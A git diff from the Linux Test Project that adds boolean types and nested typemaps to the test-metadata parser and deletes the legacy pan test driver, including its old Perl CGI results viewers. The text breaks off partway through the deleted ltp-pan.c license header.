+184,9 @@ Which will yield following JSON output: "dev_min_size": "1024", "dev_fs_type": "ext4", "restore_wallclock": "1", - "needs_drivers": [ - "uinput", - ], "needs_kconfigs": [ "CONFIG_X86_INTEL_UMIP=y", + "CONFIG_INPUT_UINPUT", ], "tags": [ [ @@ -245,4 +242,4 @@ things and how to format them. So far this proof of concept generates a metadata file. I guess that we need actual consumers which will help to settle things down, I will try to look into -making use of this in the runltp-ng at least as a reference implementation. +making use of this in the kirk at least as a reference implementation. diff --git a/ltp/metadata/data_storage.h b/ltp/metadata/data_storage.h index 6ca5d7d9..77073f37 100644 --- a/ltp/metadata/data_storage.h +++ b/ltp/metadata/data_storage.h @@ -17,6 +17,7 @@ enum data_type { DATA_HASH, DATA_STRING, DATA_INT, + DATA_BOOL, DATA_NULL, }; @@ -49,6 +50,11 @@ struct data_node_int { long val; }; +struct data_node_bool { + enum data_type type; + bool val; +}; + struct data_node { union { enum data_type type; @@ -56,6 +62,7 @@ struct data_node { struct data_node_array array; struct data_node_string string; struct data_node_int i; + struct data_node_bool b; }; }; @@ -70,6 +77,8 @@ static inline const char* data_type_name(enum data_type type) return "string"; case DATA_INT: return "int"; + case DATA_BOOL: + return "bool"; case DATA_NULL: return "null"; default: @@ -104,6 +113,19 @@ static inline struct data_node *data_node_int(long i) return node; } +static inline struct data_node *data_node_bool(bool b) +{ + struct data_node *node = malloc(sizeof(struct data_node_int)); + + if (!node) + return NULL; + + node->type = DATA_BOOL; + node->b.val = b; + + return node; +} + static inline struct data_node *data_node_null(void) { struct data_node *node = malloc(sizeof(struct data_node)); @@ -175,6 +197,7 @@ static inline void data_node_free(struct data_node *self) switch (self->type) { case DATA_STRING: case DATA_INT: + case DATA_BOOL: case DATA_NULL: break; case DATA_HASH: @@ -314,6 +337,10 @@ static inline void data_node_print_(struct data_node *self, unsigned int padd) data_print_padd(padd); printf("%li\n", self->i.val); break; + case DATA_BOOL: + data_print_padd(padd); + printf("%s\n", self->b.val ? "true" : "false"); + break; case DATA_STRING: data_print_padd(padd); printf("'%s'\n", self->string.val); @@ -407,6 +434,10 @@ static inline void data_to_json_(struct data_node *self, FILE *f, unsigned int p padd = do_padd ? padd : 0; data_fprintf(f, padd, "%li", self->i.val); break; + case DATA_BOOL: + padd = do_padd ? padd : 0; + data_fprintf(f, padd, "%s", self->b.val ? "true" : "false"); + break; case DATA_STRING: padd = do_padd ? padd : 0; data_fprintf_esc(f, padd, self->string.val); diff --git a/ltp/metadata/metaparse.c b/ltp/metadata/metaparse.c index 36736ac0..c495d2eb 100644 --- a/ltp/metadata/metaparse.c +++ b/ltp/metadata/metaparse.c @@ -968,11 +968,40 @@ static struct data_node *parse_file(const char *fname) return res; } -static struct typemap { +struct typemap { const char *id; enum data_type type; -} tst_test_typemap[] = { + struct typemap *child; +}; + +static struct typemap needs_cmds_typemap[] = { + {.id = "optional", .type = DATA_BOOL}, + {} +}; + +static struct typemap tst_test_typemap[] = { {.id = "test_variants", .type = DATA_INT}, + /* All bitflags in tst_test struct */ + {.id = "needs_tmpdir", .type = DATA_BOOL}, + {.id = "needs_root", .type = DATA_BOOL}, + {.id = "forks_child", .type = DATA_BOOL}, + {.id = "needs_device", .type = DATA_BOOL}, + {.id = "needs_checkpoints", .type = DATA_BOOL}, + {.id = "needs_overlay", .type = DATA_BOOL}, + {.id = "format_device", .type = DATA_BOOL}, + {.id = "mount_device", .type = DATA_BOOL}, + {.id = "needs_rofs", .type = DATA_BOOL}, + {.id = "child_needs_reinit", .type = DATA_BOOL}, + {.id = "runs_script", .type = DATA_BOOL}, + {.id = "needs_devfs", .type = DATA_BOOL}, + {.id = "restore_wallclock", .type = DATA_BOOL}, + {.id = "all_filesystems", .type = DATA_BOOL}, + {.id = "skip_in_lockdown", .type = DATA_BOOL}, + {.id = "skip_in_secureboot", .type = DATA_BOOL}, + {.id = "skip_in_compat", .type = DATA_BOOL}, + {.id = "needs_hugetlbfs", .type = DATA_BOOL}, + {.id = "needs_cgroup_nsdelegate", .type = DATA_BOOL}, + {.id = "needs_cmds", .child = needs_cmds_typemap}, {} }; @@ -996,18 +1025,55 @@ static void convert_str2int(struct data_node *res, const char *id, const char *s data_node_hash_add(res, id, data_node_int(val)); } -static void check_normalize_types(struct data_node *res) +static void convert_str2bool(struct data_node *res, const char *id, const char *str_val) +{ + long val; + char *endptr; + + errno = 0; + val = strtol(str_val, &endptr, 10); + + if (errno || *endptr) { + fprintf(stderr, "Cannot convert %s value %s to bool!\n", id, str_val); + exit(1); + } + + if (verbose) + fprintf(stderr, "NORMALIZING %s TO BOOL %li\n", id, val); + + data_node_hash_del(res, id); + data_node_hash_add(res, id, data_node_bool(val)); +} + +static void check_normalize_types(struct data_node *res, const char *id, struct typemap *typemaps) { unsigned int i; - for (i = 0; tst_test_typemap[i].id; i++) { + if (res->type == DATA_ARRAY) { + for (i = 0; i < res->array.array_used; i++) + check_normalize_types(res->array.array[i], id, typemaps); + + return; + } + + if (res->type != DATA_HASH) { + fprintf(stderr, "Typemap '%s' type %s has no children!\n", id, data_type_name(res->type)); + exit(1); + } + + for (i = 0; typemaps[i].id; i++) { struct data_node *n; - struct typemap *typemap = &tst_test_typemap[i]; + struct typemap *typemap = &typemaps[i]; n = data_node_hash_get(res, typemap->id); if (!n) continue; + if (typemap->child) { + check_normalize_types(n, typemap->id, typemap->child); + continue; + } + if (n->type == typemap->type) continue; @@ -1016,6 +1082,11 @@ static void check_normalize_types(struct data_node *res) continue; } + if (n->type == DATA_STRING && typemap->type == DATA_BOOL) { + convert_str2bool(res, typemap->id, n->string.val); + continue; + } + fprintf(stderr, "Cannot convert %s from %s to %s!\n", typemap->id, data_type_name(n->type), data_type_name(typemap->type)); @@ -1125,14 +1196,14 @@ int main(int argc, char *argv[]) } /* Normalize types */ - check_normalize_types(res); + check_normalize_types(res, "", tst_test_typemap); for (i = 0; implies[i].flag; i++) { if (data_node_hash_get(res, implies[i].flag)) { for (j = 0; implies[i].implies[j]; j++) { if (!data_node_hash_get(res, implies[i].implies[j])) data_node_hash_add(res, implies[i].implies[j], - data_node_string("1")); + data_node_bool(true)); } } } diff --git a/ltp/pan/Makefile b/ltp/pan/Makefile deleted file mode 100644 index e8596ec2..00000000 --- a/ltp/pan/Makefile +++ /dev/null @@ -1,51 +0,0 @@ -# -# pan Makefile. -# -# Copyright (C) 2009, Cisco Systems Inc. -# -# This program is free software; you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation; either version 2 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License along -# with this program; if not, write to the Free Software Foundation, Inc., -# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. -# -# Ngie Cooper, July 2009 -# - -top_srcdir ?= .. - -include $(top_srcdir)/include/mk/env_pre.mk -include $(top_srcdir)/include/mk/functions.mk - -# XXX (garrcoop): some versions of flex/bison generate crap code that doesn't -# check the return code from fwrite(3). -CPPFLAGS += -Wno-error - -CPPFLAGS += -I$(abs_srcdir) - -LDLIBS += -lm - -LFLAGS += -l - -INSTALL_DIR := bin - -MAKE_TARGETS := ltp-bump ltp-pan - -ltp-bump: ltp-bump.o zoolib.o - -ltp-pan: ltp-pan.o zoolib.o splitstr.o - -# flex does some whacky junk when it generates files on the fly, so let's make -# sure gcc doesn't get lost... -vpath %.c $(abs_srcdir):$(abs_builddir))) -vpath %.l $(abs_srcdir) - -include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/ltp/pan/cgi/README b/ltp/pan/cgi/README deleted file mode 100644 index 544c5466..00000000 --- a/ltp/pan/cgi/README +++ /dev/null @@ -1,59 +0,0 @@ -Here are some CGI scripts I was using to view and compare RTS style output. -It will probably need a little more tweaking to be useful to LTP. - -Expectations: - - A directory that contains all output. It expects file names in the format - - ... - - The hostname the tests were run on - ISO standard format date. i.e. YYYYmmDDHHMM - The name of the pan file that was used - One of driver, scanner, or summary - - driver - the raw output from pan with <<>> - scanner - the output from scanner - summary - a very brief table listing how many tests passed, - failed, didn't run, etc. This wasn't released. - -Scripts: - - results.cgi - - This lists out all of the results that are the results directory. It - provides links to the driver output, scanned results, and summary for - each suite. The sort order is host, date, suite. On the results - page, which looks at the .scanner files, there are links that extract - the test tag output from the .driver file. - - browse.cgi - - This is a more complex form that I started working on. It allows you - to compare as many results as you want, side by side. Also, I started - working on sorting the results different ways, but didn't get too far. - The side by side comparison is done with in reconsile.cgi - - reconsile.cgi - - This script compares multiple scanner files and shows the differences - side by side in a table. It expects to find .scanner files for the - results it is comparing. - -Notes: - - The driver I was using with these scripts collects some system information - before running the tests. I use this information to display the `uname - -a` output in browse.cgi and reconsile.cgi. You will be missing this - information, but the scripts should still run. - - I apologize in advance for the use of Perl. I've managed to steer clear - of Perl for five years until I started writing these scripts. IMHO, the - people who learn programming with Perl write the ugliest code. Luckily, I - learned programming mostly with Pascal. Hopefully the code makes sense. - - --- -Nate Straz nstraz@sgi.com -sgi, inc http://www.sgi.com/ -Linux Test Project http://ltp.sf.net/ diff --git a/ltp/pan/cgi/browse.cgi b/ltp/pan/cgi/browse.cgi deleted file mode 100755 index 49fda6fb..00000000 --- a/ltp/pan/cgi/browse.cgi +++ /dev/null @@ -1,225 +0,0 @@ -#!/usr/bin/perl - -use CGI qw(:standard); - -# keep a copy of each 'uname -a' string so we don't have to search for it every time. -%uname_cache = {}; - -# When something goes wrong before we start output, use this -# function so there is still output -sub failure { - print header("text/html"),start_html; - print "$_[0]\n"; - print end_html; - exit; -} -# get the UNAME line for a host, date, suite -sub get_result_uname { - my($inhost, $indate, $insuite, $filename); - my(@possible_files, $pf, $line); - my($host, $datestr, $suite, $type, $gz); - # build a filename - $inhost = $_[0]; - $indate = $_[1]; - if ($#_ >= 2) { - $insuite = $_[2]; - } else { - $insuite = "*"; - } - # check to see if we've done this already - if (exists($uname_cache{"$inhost.$indate"})) { - return $uname_cache{"$inhost.$indate"}; - } - $filename = "$inhost.$indate.$insuite.*"; - @possible_files = <${filename}>; - if ($#possible_files < 1) { - return ""; - } - foreach $pf (@possible_files) { - ($host, $datestr, $suite, $type, $gz) = split(/\./, $pf); - if ($type eq "summary") { - next; - } elsif ($type eq "scanner") { - open (UF, $pf) || next; - while ($line = ) { - if ($line =~ /^UNAME/) { - close(UF); - $line =~ s/UNAME *//; - $line =~ s/$inhost//; - $uname_cache{"$inhost.$indate"} = $line; - return $line; - } - } - } elsif ($type eq "driver") { - if ($gz) { - open (UF, "gunzip -c $pf|") || next; - } else { - open (UF, "$pf") || next; - } - while ($line = ) { - if ($line =~ /^UNAME/) { - close(UF); - $line =~ s/UNAME="(.*)"/\1/; - $line =~ s/$inhost//; - $uname_cache{"$inhost.$indate"} = $line; - return $line; - } - } - } else { - next; - } - } - return ""; -} - -# Create the headers row, adding links for sorting options -sub print_headers { - - print "\n"; - - for($i = 0; $i <= $#rso; $i++) { - print "$rso[$i]\n"; - } - - print "\n"; -} - -############ -# main() # -############ - -# Most of the work is done in this directory -unless (chdir("/usr/tests/ltp/results")) { - failure("Could not get to the results directory\n"); -} - -@extra_path = split(/\//, $ENV{PATH_INFO}); - -# rso = Result Sort Order -# rsd = Result Sort Direction -#@rso = (HOST,SUITE, DATE, UNAME); -@rso = (SUITE, HOST, DATE, UNAME); -@rsd = (1, 1, -1, 1); - -# allow the user to specify the sort order -if ($sort_order = param("sort")) { - @so = split(/,/, $sort_order); - print $so; - @rso = (); - for($i = 0; $i <= $#so; $i++) { - # parse the field - if ($so[$i] =~ /host/i) { push(@rso, HOST); } - elsif ($so[$i] =~ /date/i) { push(@rso, DATE); } - elsif ($so[$i] =~ /suite/i) { push(@rso, SUITE); } - elsif ($so[$i] =~ /uname/i) { push(@rso, UNAME); } - # parse the direction - if ($so[$i] =~ /-/) { $rsd[$i] = -1; } - else { $rsd[$i] = 1; } - } -} - -if ($#extra_path > 0) { - -} else { - - %results = (); - - # run through the files in the results directory - @driver_files = <*driver*>; - foreach $df (@driver_files) { - - ($host, $datestr, $suite, $type, $gz) = split(/\./, $df); - - $a_rec = (); - $a_rec->{HOST} = $host; - $a_rec->{DATE} = $datestr; - $a_rec->{SUITE} = $suite; - $a_rec->{DRIVER_FILE} = $df; - $a_rec->{UNAME} = get_result_uname($host, $datestr); - - $results{ $a_rec->{DRIVER_FILE} } = $a_rec; - } - - # write the HTML file - print header("text/html"),start_html; - print "This is a demo page for browsing the Linux LTP results. Select the results you want to compare and click the \"Compare\" button.", p, h2("Warning"), "The results are placed in a large table which may take a long time to render on some browsers", p; - @ri = values %results; - @ri = sort { ($a->{$rso[0]} cmp $b->{$rso[0]})*$rsd[0] - || ($a->{$rso[1]} cmp $b->{$rso[1]})*$rsd[1] - || ($a->{$rso[2]} cmp $b->{$rso[2]})*$rsd[2] - || ($a->{$rso[3]} cmp $b->{$rso[3]})*$rsd[3] } @ri; - - $last = (); - $last->{$rso[0]} = ""; - $last->{$rso[1]} = ""; - $last->{$rso[2]} = ""; - $lasthost = ""; - $lastdate = ""; - $lastsuite = ""; - #$lastindent = 0; - $thisindent = 0; - print "
"; - print "\n"; - #print "\n"; - print_headers(); - foreach $rp ( @ri ) { - - $this = (); - $this->{$rso[0]} = $rp->{$rso[0]}; - $this->{$rso[1]} = $rp->{$rso[1]}; - $this->{$rso[2]} = $rp->{$rso[2]}; - $this->{$rso[3]} = $rp->{$rso[3]}; - - # figure out the first column that is different - for ($i = 0; $i <= $#rso; $i++) { - if ($last->{$rso[$i]} ne $this->{$rso[$i]}) { - $thisindent = $i; - last; - } - } - - print "\n"; - for ($i = 0; $i < $thisindent; $i++) { - print "\n"; - - # make sure we update the $last... variables - $last->{$rso[0]} = $this->{$rso[0]}; - $last->{$rso[1]} = $this->{$rso[1]}; - $last->{$rso[2]} = $this->{$rso[2]}; - } - print "
HostnameDateSuite
"; - - } - for ($i = $thisindent; $i <= $#rso; $i++) { - print ""; - if ($i == $#rso) { - print "{HOST}.$this->{DATE}.$this->{SUITE}.scanner\">"; - } - print "$this->{$rso[$i]}"; - if ($i == $#rso) { - print ""; - } - if ($i == $#rso) { - # last column - print " {HOST}.$this->{DATE}.$this->{SUITE}\">"; - - } - - - } - print "
\n"; - print "\n"; - print "\n"; - print "
"; - print end_html; - -} - diff --git a/ltp/pan/cgi/reconsile.cgi b/ltp/pan/cgi/reconsile.cgi deleted file mode 100755 index da131f47..00000000 --- a/ltp/pan/cgi/reconsile.cgi +++ /dev/null @@ -1,250 +0,0 @@ -#!/usr/bin/perl - -# -# reconsile.cgi - reconsile two or more scanner files -# - -use CGI qw(:standard); - -chdir("/usr/tests/ltp/results/"); - -# Get the list of results to compare. -@results = param("results"); - -print header("text/html"); -print start_html, "
\n";
-
-# Give a warning if the suites do not match
-($a, $b, $lastsuite) = split(/\./, $results[0]);
-for ($i = 1; $i <= $#results; $i++) {
-	($a, $b, $thissuite) = split(/\./, $results[$i]);
-	if ($lastsuite ne $thissuite) {
-		print "Warning: Suites do not match!\n";
-		last;
-	}
-}
-
-# check that each requested result exists.  If one does not exist,
-# print a warning and continue.  If the number of available results
-# is less than two, halt with an error
-@result_filenames = ();
-foreach $a_result (@results) {
-	if (-f "$a_result.scanner") {
-		push(@result_filenames, "$a_result.scanner");
-	} else {
-		print "Could not find a scanner file for $a_result\n";
-	}
-}
-if ($#result_filenames < 1) {
-	print "Not enough result files to compare\n";
-	die;
-}
-
-# for each result file read in and store the header information in
-# an associative array.  Take the rest of the input file and store
-# it as a list.
-@result_details = ();
-@result_testcases = ();
-$i = 0;
-foreach $result_filename (@result_filenames) {
-	unless (open(F, $result_filename)) {
-		print "failed openning $result_filename\n";
-		next;
-	}
-	# advance past the header then read in the rest
-	$result_testcases->[$i] = ();
-	$result_details->[$i] = {};
-	($host, $datestr, $suite, $ext) = split(/\./, $result_filename);
-	$result_details->[$i]->{HOST} = $host;
-	$result_details->[$i]->{DATESTR} = $datestr;
-	$result_details->[$i]->{SUITE} = $suite;
-	while ($line = ) {
-		# check for the end of the header
-		if ($line =~ /^-+/) {
-			# we've reached the top of the scanner output
-			# grab the rest and stop the while loop;
-			@rest = ;
-			close(F);
-			last;
-		}
-		# grab information from the header
-		if ($line =~ /^UNAME/) {
-			$line =~ s/UNAME *//;
-			$result_details->[$i]->{UNAME} = $line;
-			next;
-		}
-	}
-	# convert the results to records and add them to the list
-	foreach $line (@rest) {
-		($tag, $tcid, $tc, $status, $contact) = split(/\s+/, $line);
-		# fix some of the fields so they sort properly
-		$tcid = '{' if ($tcid eq '*');
-		$tcid = '}' if ($tcid eq '-');
-		$tc = '{' if ($tc eq '*');
-		$tc = '}' if ($tc eq '-');
-		$rec = ();
-		$rec->{TAG} = $tag;
-		$rec->{TCID} = $tcid;
-		$rec->{TC} = $tc;
-		$rec->{STATUS} = $status;
-		$rec->{CONTACT} = $contact;
-		push(@{$result_testcases[$i]}, $rec);
-	}
-	$i++;
-}
-
-# sort each set of results.
-# This is the most important step since walking the data depends on
-# correctly sorting the data.  Some substitutions are made to keep
-# the test cases in each test tag in the proper order.  i.e.
-# s/\*/{/
-#$i = 0;
-foreach $rtcs (@result_testcases) {
-	@$rtcs = sort { $a->{TAG} cmp $b->{TAG}
-					|| $a->{TCID} cmp $b->{TCID}
-					|| $a->{TC} <=> $b->{TC}
-					|| $a->{TC} cmp $b->{TC}
-					|| $a->{STATUS} cmp $b->{STATUS}} @$rtcs;
-	#print "sorted file $i\n";
-	#print "=" x 50 . "\n";
-	#foreach (@$rtcs) {
-	#	print "$_->{TAG}:$_->{TCID}:$_->{TC}:$_->{STATUS}\n";
-	#}
-	#print "=" x 50 . "\n";
-	#$i++;
-}
-
-# here is the loop that prints the data into a multi-column table with the test
-# tags grouped together.
-
-print "
"; -print "\n"; - -print "\n"; - -print "\n"; - -# while the result lists still have test cases -# Find the smallest record from the top of the lists -# remove matching records from the lists and output them -$last_tag = ""; -while (1) { - - # if there wasn't anything left, leave - $somethingleft = 0; - foreach $rtcs (@result_testcases) { - if ($#$rtcs > -1) { - $somethingleft = 1; - last; - } - } - unless ($somethingleft) { last; } - - # find the Lowest Common Record - @tops = (); - foreach $rtcs (@result_testcases) { - if (@$rtcs[0]) { - push(@tops, copy_record(@$rtcs[0])); - } - } - @tops = sort { $a->{TAG} cmp $b->{TAG} - || $a->{TCID} cmp $b->{TCID} - || $a->{TC} <=> $b->{TC} - || $a->{TC} cmp $b->{TC} - || $a->{STATUS} cmp $b->{STATUS}} @tops; - - $LCR = $tops[0]; - - # check to see if everyone matches - $matches = 0; - foreach $rtcs (@result_testcases) { - if (! @$rtcs[0]) { next; } - if (@$rtcs[0]->{TAG} eq $LCR->{TAG} - && @$rtcs[0]->{TCID} eq $LCR->{TCID} - && @$rtcs[0]->{TC} eq $LCR->{TC} - && @$rtcs[0]->{STATUS} eq $LCR->{STATUS}) { - - $matches++; - } - } - # if everyone does match (status included) shift them - # and move on. - if ($matches == ($#result_testcases+1)) { - foreach $rtcs (@result_testcases) { shift(@$rtcs); } - next; - } - - # if we've already output stuff related to this test tag, - # skip that column, otherwise print the tag - if ($LCR->{TAG} eq $lasttag) { - print "\n"; -} -print "
"; -for($i=0; $i <= $#result_testcases; $i++) { - print "$result_details->[$i]->{HOST}.$result_details->[$i]->{DATESTR}.$result_details->[$i]->{SUITE}"; -} -print "
Test Tag"; -for($i=0; $i <= $#result_testcases; $i++) { - print "TCIDTest CaseStatus"; -} -print "Contact
"; - } else { - print "
$LCR->{TAG}"; - $lasttag = $LCR->{TAG}; - } - - # walk through the lists again outputting as we match - $column = 0; - foreach $rtcs (@result_testcases) { - if (! @$rtcs[0]) { - print ""; - $column++; - next; - } elsif (@$rtcs[0]->{TAG} eq $LCR->{TAG} - && @$rtcs[0]->{TCID} eq $LCR->{TCID} - && @$rtcs[0]->{TC} eq $LCR->{TC}) { - - $match = shift(@$rtcs); - $match->{TCID} = '*' if ($match->{TCID} eq '{'); - $match->{TCID} = '-' if ($match->{TCID} eq '}'); - $match->{TC} = '*' if ($match->{TC} eq '{'); - $match->{TC} = '-' if ($match->{TC} eq '}'); - print ""; - $rd = $result_details->[$column]; - print "{HOST}.$rd->{DATESTR}.$rd->{SUITE}.driver&zoom_tag=$match->{TAG}\">"; - print "$match->{TCID}"; - print "$match->{TC}"; - print ""; - if ($match->{STATUS} =~ /PASS/) { - print ""; - } elsif ($match->{STATUS} =~ /FAIL/) { - print ""; - } elsif ($match->{STATUS} =~ /CONF/) { - print ""; - } elsif ($match->{STATUS} =~ /BROK/) { - print ""; - } else { - print ""; - } - print "$match->{STATUS}"; - } else { - print ""; - } - $column++; - } - print "$LCR->{CONTACT}
"; - -print end_html; - - -sub copy_record { - my $copy, $rec = shift; - - $copy->{TAG} = $rec->{TAG}; - $copy->{TCID} = $rec->{TCID}; - $copy->{TC} = $rec->{TC}; - $copy->{STATUS} = $rec->{STATUS}; - $copy->{CONTACT} = $rec->{CONTACT}; - return $copy; - -} diff --git a/ltp/pan/cgi/results.cgi b/ltp/pan/cgi/results.cgi deleted file mode 100755 index f84a92c7..00000000 --- a/ltp/pan/cgi/results.cgi +++ /dev/null @@ -1,164 +0,0 @@ -#!/usr/bin/perl - -use CGI qw(:standard escapeHTML); - -# When something goes wrong before we start output, use this function -# so there is still output -sub failure { - print header("text/html"),start_html; - print "$_[0]\n"; - print end_html; - exit; -} - -# Most of the work is done in this directory -unless (chdir("/usr/tests/ltp/results")) { - failure("Could not get to the results directory\n"); -} - - -# grab the parameters that determine what's going on then branch -$get_df = param("get_df"); -if ($get_df) { - # copy a driver file and output it. - $get_df = (<$get_df*>)[0]; - ($host, $datestr, $suite, $type, $gz) = split(/\./, $get_df); - #print start_html, "
\n";
-	if ($gz) {
-		open (DF, "gunzip -c $get_df|") || print "$get_df not found\n";
-	} else {
-		open (DF, "$get_df") || print "$get_df not found";
-	}
-	if ($type eq "driver" || $type eq "summary") {
-		print header("text/plain");
-		$zoom_tag = param("zoom_tag");
-		if ($zoom_tag) {
-			while () {
-				# find the start of a test
-				while () {
-					if (/\<\<\\>\>/) {
-						$line = ;
-						if ($line =~ /^tag=$zoom_tag /) {
-							print "<<>>\n";
-							print $line;
-
-							do {
-								$line = ;
-								print $line;
-							} until ($line =~ /\<\<\\>\>/);
-							exit;
-						}
-					}
-				}
-			}
-			print "Did not find tag $zoom_tag\n";
-		} else {
-			while () {
-				print $_;
-			}
-		}
-	} elsif ($type eq "scanner") {
-		print header("text/html");
-		print start_html, "
\n";
-		while () {
-			print;
-			if (/^-+/) { last;}
-		}
-		@rest = ;
-		# this is just to put the * at the end of the test case list
-		unless (param("raw")) {
-			foreach (@rest) { s/\*/{/; }
-			foreach (@rest) { s/(\s)-(\s)/\1}\2/; }
-			@rest = sort @rest;
-			foreach (@rest) { s/{/*/; }
-			foreach (@rest) { s/}/-/; }
-		}
-
-		foreach (@rest) {
-			s/(\S+)/\1<\/a>/;
-			# colorize the status column
-			s/\bPASS\b/\PASS\<\/font\>/i;
-			s/\bFAIL\b/\FAIL\<\/font\>/i;
-			s/\bCONF\b/\CONF\<\/font\>/i;
-			s/\bBROK\b/\BROK\<\/font\>/i;
-			print;
-		}
-		print "\n
",end_html; - } - close(DF); - #print "\n
\n",end_html; -} else { - %results = (); - - # run through the files in the results directory - @driver_files = <*driver*>; - foreach $df (sort(@driver_files)) { - - ($host, $datestr, $suite, $type, $gz) = split(/\./, $df); - - $a_rec = (); - $a_rec->{HOST} = $host; - $a_rec->{DATE} = $datestr; - $a_rec->{SUITE} = $suite; - $a_rec->{DRIVER_FILE} = $df; - - $results{ $a_rec->{DRIVER_FILE} } = $a_rec; - } - - # write the HTML file - print header("text/html"),start_html; - - @ri = values %results; - @ri = sort { $a->{HOST} cmp $b->{HOST} - ||$b->{DATE} <=> $a->{DATE} - ||$a->{SUITE} cmp $b->{SUITE} } @ri; - $lasthost = ""; - $lastdate = ""; - $lastsuite = ""; - $indent = 0; - print "\n"; - print "\n"; - foreach $rp ( @ri ) { - $thishost = $rp->{HOST}; - $thisdate = $rp->{DATE}; - $thissuite = $rp->{SUITE}; - - # figure out where is the table we need to start - if ($lasthost ne $thishost) { - $indent = 0; - } elsif ($lastdate ne $thisdate) { - $indent = 1; - } elsif ($lastsuite ne $thissuite) { - $indent = 2; - } - - # write the rows we need depending on the starting point - # host level - if ($indent <= 0) { - print "
HostnameDateSuite
$thishost\n"; - } - # date level - if ($indent <= 1) { - ($year, $month, $day, $hour, $min) = ($thisdate =~ /(\d+)(\d{2})(\d{2})(\d{2})(\d{2})/); - print "
$year-$month-$day $hour:$min\n"; - } - # suite level - if ($indent <= 2) { - print "
"; - print "$thissuite"; - print " [{DRIVER_FILE}\">driver output]"; - print " [results]"; - print " [summary]"; - - print "\n"; - } - - # make sure we update the $last... variables - $lasthost = $thishost; - $lastdate = $thisdate; - $lastsuite = $thissuite; - } - print "
\n"; - print end_html; -} - diff --git a/ltp/pan/ltp-bump.c b/ltp/pan/ltp-bump.c deleted file mode 100644 index b6d676f4..00000000 --- a/ltp/pan/ltp-bump.c +++ /dev/null @@ -1,115 +0,0 @@ -/* - * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ - * - */ -/* $Id: ltp-bump.c,v 1.1 2009/05/19 09:39:11 subrata_modak Exp $ */ -#include -#include -#include -#include -#include -#include - -#include "zoolib.h" - -pid_t read_active(FILE * fp, char *name); - -int main(int argc, char **argv) -{ - int c; - char *active = NULL; - pid_t nanny; - zoo_t zoo; - int sig = SIGINT; - - while ((c = getopt(argc, argv, "a:s:12")) != -1) { - switch (c) { - case 'a': - active = malloc(strlen(optarg) + 1); - strcpy(active, optarg); - break; - case 's': - sig = atoi(optarg); - break; - case '1': - sig = SIGUSR1; - break; - case '2': - sig = SIGUSR2; - break; - } - } - - if (active == NULL) { - active = zoo_getname(); - if (active == NULL) { - fprintf(stderr, - "ltp-bump: Must supply -a or set ZOO env variable\n"); - exit(1); - } - } - - if (optind == argc) { - fprintf(stderr, "ltp-bump: Must supply names\n"); - exit(1); - } - - /* need r+ here because we're using write-locks */ - if ((zoo = zoo_open(active)) == NULL) { - fprintf(stderr, "ltp-bump: %s\n", zoo_error); - exit(1); - } - - while (optind < argc) { - /*printf("argv[%d] = (%s)\n", optind, argv[optind] ); */ - nanny = zoo_getpid(zoo, argv[optind]); - if (nanny == -1) { - fprintf(stderr, "ltp-bump: Did not find tag '%s'\n", - argv[optind]); - } else { - if (kill(nanny, sig) == -1) { - if (errno == ESRCH) { - fprintf(stderr, - "ltp-bump: Tag %s (pid %d) seems to be dead already.\n", - argv[optind], nanny); - if (zoo_clear(zoo, nanny)) - fprintf(stderr, - "ltp-bump: %s\n", - zoo_error); - } - } - } - ++optind; - } - zoo_close(zoo); - - exit(0); -} diff --git a/ltp/pan/ltp-pan.c b/ltp/pan/ltp-pan.c deleted file mode 100644 index 0bdb5147..00000000 --- a/ltp/pan/ltp-pan.c +++ /dev/null @@ -1,1485 +0,0 @@ -/* - * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ - * - * Changelog: - * - * Added timer options: William Jay Huie, IBM - * 01/27/03 - Added: Manoj Iyer, manjo@mail.utexas.edu - * - option '-p' (pretty printing)i to enabled formatted printing - * of results. - * - * 01/27/03 - Added: Manoj Iyer, manjo@mail.utexas.edu - * - added code to print system information - * - * 01/28/03 - Added: Manoj Iyer, manjo@mail.utexas.edu - * - added code to print test exit value. - * - * 01/29/03 - Added: Manoj Iyer, manjo@mail.utexas.edu - * - added code supresses test start and test end tags. - * - * 07/22/07 - Added: Ricardo Salveti de Araujo, rsalveti@linux.vnet.ibm.com - * - added option to create a command file with all failed tests. - * - */ -/* $Id: ltp-pan.c,v 1.4 2009/10/15 18:45:55 